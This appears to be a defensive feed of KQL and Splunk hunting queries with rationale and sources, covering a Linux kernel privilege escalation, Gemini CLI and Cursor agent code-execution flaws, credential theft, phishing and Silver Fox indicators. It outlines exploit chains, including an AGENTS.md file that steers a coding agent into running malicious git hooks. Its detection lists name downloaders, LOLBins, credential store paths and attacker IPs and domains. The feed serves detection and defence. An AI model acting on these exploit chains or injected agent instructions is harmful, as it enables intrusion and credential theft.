• https://www.sysdig.com/blog/cve-2026-31431-copy-fail-linux-kernel-flaw-lets-local-users-gain-root-in-seconds
ATT&CKT1068T1611
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let cipherStr = "authencesn(hmac(sha256),cbc(aes))";
let procHits = DeviceProcessEvents
| where Timestamp > ago(14d)
| where DeviceType == "Server" or InitiatingProcessFileName in~ ("python","python2","python3","perl","ruby","node","bash","sh")
| where ProcessCommandLine has cipherStr or InitiatingProcessCommandLine has cipherStr
| project Timestamp, DeviceName, DeviceId, AccountName, InitiatingProcessAccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, ReportId, Source="Process";
let fileHits = DeviceFileEvents
| where Timestamp > ago(14d)
| where ActionType in ("FileCreated","FileModified")
| where InitiatingProcessCommandLine has cipherStr or FileName endswith ".py"
| where InitiatingProcessAccountName != "root"
| where InitiatingProcessCommandLine has cipherStr
| project Timestamp, DeviceName, DeviceId, AccountName=InitiatingProcessAccountName, InitiatingProcessAccountName, FileName, FolderPath, ProcessCommandLine="", InitiatingProcessFileName, InitiatingProcessCommandLine, ReportId, Source="FileWrite";
union procHits, fileHits
| order by Timestamp asc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process) as parent_cmdline from datamodel=Endpoint.Processes where (Processes.process="*authencesn(hmac(sha256),cbc(aes))*" OR Processes.process="*algif_aead*" OR Processes.parent_process="*authencesn(hmac(sha256),cbc(aes))*") Processes.user!="root" by Processes.dest Processes.user Processes.process_name Processes.parent_process_name Processes.process_id | `drop_dm_object_name(Processes)` | append [| tstats `summariesonly` count from datamodel=Endpoint.Filesystem where Filesystem.file_name IN ("*.py","*.sh","*.c","*.rs","*.go") Filesystem.action IN ("created","modified","written") by Filesystem.dest Filesystem.user Filesystem.file_path Filesystem.file_name Filesystem.process_id | `drop_dm_object_name(Filesystem)`] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
The Copy Fail exploit is a 732-byte Python script that, after corrupting the page-cache copy of /usr/bin/su, calls execve('/usr/bin/su') from inside the same interpreter to run the injected shellcode as root. A non-root scripting interpreter (python, perl, ruby, node) that is the direct parent of /usr/bin/su without an interactive shell in between is a near-zero-baseline pattern that catches any weaponised variant on Linux endpoints and containers.
Rationale: Step 4 of the documented exploit is execve('/usr/bin/su') from the python PoC itself — making the python interpreter the direct parent of /usr/bin/su, which the Theori/Xint write-up and Bugcrowd/Sysdig confirmations both describe. /usr/bin/su being spawned by a scripting interpreter (rather than an interactive shell, sudo, or login) is rare outside of legitimate config-management tooling, which is excluded.
Cross-checked against:
• https://xint.io/blog/copy-fail-linux-distributions
• https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/
• https://www.sysdig.com/blog/cve-2026-31431-copy-fail-linux-kernel-flaw-lets-local-users-gain-root-in-seconds
• https://github.com/NorskHelsenett/copy-fail-destroyer
• https://cert.europa.eu/publications/security-advisories/2026-005/
ATT&CKT1068T1611T1059.006
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where Timestamp > ago(14d)
| where FileName == "su" and FolderPath in ("/usr/bin/su","/bin/su")
| where InitiatingProcessFileName in~ ("python","python2","python3","perl","ruby","node","go","rustc")
| where InitiatingProcessAccountName != "root"
| where not(InitiatingProcessCommandLine has_any ("ansible","salt-minion","chef-client","puppet","cloud-init"))
| extend SuParent = strcat(InitiatingProcessFileName, " -> ", FileName)
| project Timestamp, DeviceName, DeviceId, AccountName, InitiatingProcessAccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessCommandLine, ProcessId, InitiatingProcessId, SuParent
| join kind=leftouter (
DeviceProcessEvents
| where Timestamp > ago(14d)
| where InitiatingProcessFileName == "su" and InitiatingProcessFolderPath in ("/usr/bin/su","/bin/su")
| where AccountName == "root"
| summarize PostSuRootChildren=make_set(FileName,25) by DeviceId, SuPid=InitiatingProcessId, bin(Timestamp,5m)
) on DeviceId
| order by Timestamp asc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as su_cmdline values(Processes.parent_process) as parent_cmdline values(Processes.user) as user from datamodel=Endpoint.Processes where Processes.process_name="su" Processes.process_path="/usr/bin/su" Processes.parent_process_name IN ("python","python2","python3","perl","ruby","node","go","rustc") Processes.user!="root" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | where NOT match(parent_cmdline,"(?i)ansible|salt-minion|chef-client|puppet|cloud-init") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-307 use cases3 techniques6 kill-chain phases detected
Google has addressed a maximum severity security flaw in Gemini CLI -- the "@google/gemini-cli" npm package and the "google-github-actions/run-gemini-cli" GitHub Actions workflow -- that could have allowed attackers to execute arbitrary commands on host systems. "The vulnerability allowed an unprivileged external attacker to force their own malicious content to load as Gemini configuration,"
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Trusted vendor binary / installer launching unusual children · [LLM] Gemini CLI headless workspace-trust RCE via attacker-controlled .gemini/ in CI runner · [LLM] Cursor IDE child process spawned from embedded bare-repo .git/hooks (CVE-2026-26268)
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · [LLM] CursorJacking: non-Cursor process reading Cursor SQLite credential store (state.vscdb)
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-26268", "CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
[LLM] Gemini CLI headless workspace-trust RCE via attacker-controlled .gemini/ in CI runnerExploitationHigh
Hunts the unpatched Gemini CLI workspace-trust bug (GHSA-wpqr-6v78-jr5g, CVSS 10) where a PR-checked-out .gemini/ directory loads attacker-controlled config/env and spawns shell commands on the CI host before sandbox init. Looks for gemini-cli / run-gemini-cli processes that touch a .gemini/ path and then spawn a shell, python, or node child — the exact RCE primitive Novee demonstrated.
Rationale: The article and Novee/GHSA-wpqr-6v78-jr5g specifically call out (a) Gemini CLI in headless mode, (b) the .gemini/ directory as the malicious config sink, (c) malicious env vars + run_shell_command, and (d) the --yolo allowlist bypass. Joining a gemini-cli parent → shell child with a .gemini/ workspace artifact on a runner host is both narrow and exactly the published exploit chain.
Cross-checked against:
• https://novee.security/blog/google-gemini-cli-rce-vulnerability-cvss-10-critical-security-advisory/
• https://www.miggo.io/vulnerability-database/cve/GHSA-wpqr-6v78-jr5g
• https://www.theregister.com/2026/04/30/googles_fix_for_critical_gemini/
• https://www.csoonline.com/article/4165470/max-severity-rce-flaw-found-in-google-gemini-cli.html
ATT&CKT1059T1195.002T1611
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let geminiParents = dynamic(["@google/gemini-cli","gemini-cli","run-gemini-cli","gemini.js"]);
let shells = dynamic(["cmd.exe","powershell.exe","pwsh.exe","sh","bash","dash","zsh","python.exe","python3","python","node.exe","node","curl.exe","wget.exe"]);
DeviceProcessEvents
| where Timestamp > ago(7d)
| where (InitiatingProcessCommandLine has_any (geminiParents) or InitiatingProcessFileName =~ "gemini" or InitiatingProcessParentFileName =~ "gemini")
| where FileName in~ (shells)
| where InitiatingProcessCommandLine has_any (".gemini/",".gemini\\","--yolo","headless","GEMINI_TRUST_WORKSPACE","run_shell_command")
or FolderPath has_any (".gemini/",".gemini\\")
or InitiatingProcessFolderPath has_any ("actions-runner","_work","/runner/")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessParentFileName, FileName, ProcessCommandLine, FolderPath, InitiatingProcessFolderPath
| join kind=leftouter (
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has ".gemini" and FileName in~ (".env","settings.json","GEMINI.md")
| project DeviceName, GeminiCfgFile=FileName, GeminiCfgPath=FolderPath, GeminiCfgTime=Timestamp
) on DeviceName
| where isnotempty(GeminiCfgPath) or InitiatingProcessCommandLine has ".gemini"
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process IN ("*@google/gemini-cli*","*gemini-cli*","*run-gemini-cli*","*gemini *") OR Processes.parent_process_name IN ("gemini","gemini.exe")) AND Processes.process_name IN ("sh","bash","dash","zsh","cmd.exe","powershell.exe","pwsh.exe","python","python3","node","node.exe","curl","wget") AND (Processes.parent_process IN ("*.gemini/*","*.gemini\\*","*GEMINI_TRUST_WORKSPACE*","*--yolo*","*headless*") OR Processes.process IN ("*.gemini/*","*.gemini\\*")) by host Processes.user Processes.parent_process Processes.process Processes.process_path Processes.process_current_directory | `drop_dm_object_name(Processes)` | where like(process_current_directory,"%/_work/%") OR like(process_current_directory,"%runner%") OR like(process_current_directory,"%actions-runner%") OR like(parent_process,"%run-gemini-cli%") | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Cursor IDE child process spawned from embedded bare-repo .git/hooks (CVE-2026-26268)ExploitationHigh
Hunts the Cursor sandbox-escape exploit chain (CVE-2026-26268) where an AGENTS.md instructs the Cursor agent to git-checkout an embedded bare repo, firing a malicious post-checkout / pre-commit hook. Detects any process whose parent chain includes Cursor and whose image path lives under a .git/hooks/ directory — the exact silent-execution surface Levkovich described.
Rationale: The article, Novee's CVE-2026-26268 write-up, and the SentinelOne/NVD entries all pin the exploit to (1) a Cursor agent process, (2) a git checkout against an embedded bare repo, and (3) a post-checkout / pre-commit hook firing from .git/hooks/. A child process whose image lives under .git/hooks/ with a Cursor ancestor is essentially impossible benignly and is the exact silent-execution path called out by Levkovich.
Cross-checked against:
• https://novee.security/blog/cursor-ide-cve-2026-26268-git-hook-arbitrary-code-execution/
• https://nvd.nist.gov/vuln/detail/CVE-2026-26268
• https://www.sentinelone.com/vulnerability-database/cve-2026-26268/
• https://hackread.com/cursor-ai-ide-vulnerability-code-execution-git-hooks/
ATT&CKT1546T1059.004T1204.002T1195.001
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let cursorBins = dynamic(["Cursor.exe","Cursor","Cursor Helper","Cursor Helper (Plugin).exe","Cursor Helper (Renderer).exe"]);
let hookNames = dynamic(["post-checkout","pre-commit","post-commit","post-merge","pre-push","post-rewrite","prepare-commit-msg"]);
DeviceProcessEvents
| where Timestamp > ago(14d)
| where InitiatingProcessFileName in~ (cursorBins)
or InitiatingProcessParentFileName in~ (cursorBins)
or InitiatingProcessFolderPath has_any ("\\Cursor\\","/Cursor.app/","/cursor/resources/app")
| where FolderPath has_any ("\\.git\\hooks\\","/.git/hooks/")
or FileName in~ (hookNames)
or ProcessCommandLine has_any (".git/hooks/",".git\\hooks\\","git --git-dir","git checkout master")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessParentFileName, InitiatingProcessCommandLine, FileName, FolderPath, ProcessCommandLine
| join kind=leftouter (
DeviceFileEvents
| where Timestamp > ago(14d)
| where FileName =~ "AGENTS.md" or FolderPath has_any ("\\.git\\hooks\\","/.git/hooks/")
| summarize AgentsMdSeen=any(FileName=="AGENTS.md"), HookFileWritten=any(FolderPath has ".git/hooks" or FolderPath has ".git\\hooks\\") by DeviceName
) on DeviceName
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("Cursor.exe","Cursor","Cursor Helper","Cursor Helper (Plugin).exe","Cursor Helper (Renderer).exe") OR Processes.parent_process IN ("*Cursor.exe*","*/Cursor.app/*","*\\Cursor\\resources\\app*")) AND (Processes.process_path IN ("*\\.git\\hooks\\*","*/.git/hooks/*") OR Processes.process IN ("*post-checkout*","*pre-commit*","*post-commit*","*post-merge*","*pre-push*","*post-rewrite*") OR Processes.parent_process IN ("*git checkout*","*git --git-dir*")) by host Processes.user Processes.parent_process Processes.process Processes.process_path Processes.process_current_directory | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] CursorJacking: non-Cursor process reading Cursor SQLite credential store (state.vscdb)Actions on ObjectivesMedium
Hunts the unpatched LayerX 'CursorJacking' issue (CVSS 8.2) where any installed extension or local process can read Cursor's SQLite store containing session tokens and API keys because Cursor enforces no access-control boundary on it. Surfaces opens of state.vscdb under Cursor's user-data path by anything other than the Cursor binaries themselves.
Rationale: The article specifically names Cursor's local SQLite credential store and the LayerX 'CursorJacking' technique of accessing it from outside the Cursor process tree. Cursor is a VS Code fork and uses the same state.vscdb path under user-data globalStorage; alerting only when a non-Cursor process touches that file directly maps to the article's exfil primitive while the issue remains unpatched.
Cross-checked against:
• https://sqmagazine.co.uk/cursor-ai-security-flaw-api-key-theft-code-execution/
• https://gbhackers.com/cursor-ai-coding-agent-vulnerability/
ATT&CKT1555T1552.001T1005
Data sourcesEndpoint.FilesystemEndpoint.Processes
let cursorProcs = dynamic(["Cursor.exe","Cursor","Cursor Helper","Cursor Helper (Plugin).exe","Cursor Helper (Renderer).exe","Cursor Helper (GPU).exe"]);
DeviceFileEvents
| where Timestamp > ago(14d)
| where FileName in~ ("state.vscdb","state.vscdb.backup")
| where FolderPath has_any ("\\Cursor\\User\\globalStorage","/Cursor/User/globalStorage","/Library/Application Support/Cursor/User/globalStorage")
| where InitiatingProcessFileName !in~ (cursorProcs)
| where InitiatingProcessFolderPath !has "\\Cursor\\" and InitiatingProcessFolderPath !has "/Cursor.app/"
| project Timestamp, DeviceName, AccountName, ActionType, InitiatingProcessFileName, InitiatingProcessFolderPath, InitiatingProcessCommandLine, FileName, FolderPath
| summarize Reads=count(), FirstSeen=min(Timestamp), LastSeen=max(Timestamp) by DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessFolderPath, FolderPath
| tstats summariesonly=true count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Filesystem where (Filesystem.file_path IN ("*\\Cursor\\User\\globalStorage\\state.vscdb*","*/Cursor/User/globalStorage/state.vscdb*","*/Library/Application Support/Cursor/User/globalStorage/state.vscdb*") OR Filesystem.file_name IN ("state.vscdb","state.vscdb.backup")) AND NOT Filesystem.process_name IN ("Cursor.exe","Cursor","Cursor Helper","Cursor Helper (Plugin).exe","Cursor Helper (Renderer).exe","Cursor Helper (GPU).exe") by host Filesystem.user Filesystem.process_name Filesystem.process_path Filesystem.file_path Filesystem.file_name Filesystem.action | `drop_dm_object_name(Filesystem)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Fake CAPTCHA / clipboard-injected PowerShell (ClickFix / FakeCaptcha) · PowerShell encoded / obfuscated command · Article-specific behavioural hunt — Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and I
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Scheduled task created with suspicious image / encoded args · File hash IOCs — endpoint file/process match · [LLM] Silver Fox RustSL Phantom Persistence via RunOnce 'Application Restart' key from suspicious path · [LLM] Silver Fox RustSL geofencing — single non-browser process queries 3+ of 5 specific IP-lookup APIs
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains · [LLM] ValleyRAT/Winos 4.0 C2 callback to Silver Fox tax-campaign infrastructure
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("207.56.138.28", "154.82.81.205", "45.118.133.203", "108.187.37.85", "108.187.42.63", "108.187.41.221", "154.82.81.192", "139.180.128.251", "192.229.115.229", "207.56.119.216", "192.163.167.14", "45.192.219.60", "192.238.205.47", "45.32.108.178", "57.133.212.106")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("abc.haijing88.com", "mcagov.cc", "abc.fetish-friends.com", "tinyurl.com", "roldco.com", "sudsmama.com", "vnc.kcii2.com", "abc.3mkorealtd.com", "abc.sudsmama.com", "abc.woopami.com")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("abc.haijing88.com", "mcagov.cc", "abc.fetish-friends.com", "tinyurl.com", "roldco.com", "sudsmama.com", "vnc.kcii2.com", "abc.3mkorealtd.com", "abc.sudsmama.com", "abc.woopami.com")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Scheduled task created with suspicious image / encoded argsInstallationHigh
schtasks.exe /create or Microsoft-Windows-TaskScheduler EventID 4698 with LOLBin actions.
ATT&CKT1053.005
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any ("powershell","cmd.exe","rundll32","-enc","FromBase64","\Users\Public","\AppData\")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name="schtasks.exe" AND Processes.process="*/create*"
AND (Processes.process="*powershell*" OR Processes.process="*cmd.exe*"
OR Processes.process="*rundll32*" OR Processes.process="*-enc*"
OR Processes.process="*FromBase64*" OR Processes.process="*\Users\Public*"
OR Processes.process="*\AppData\*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
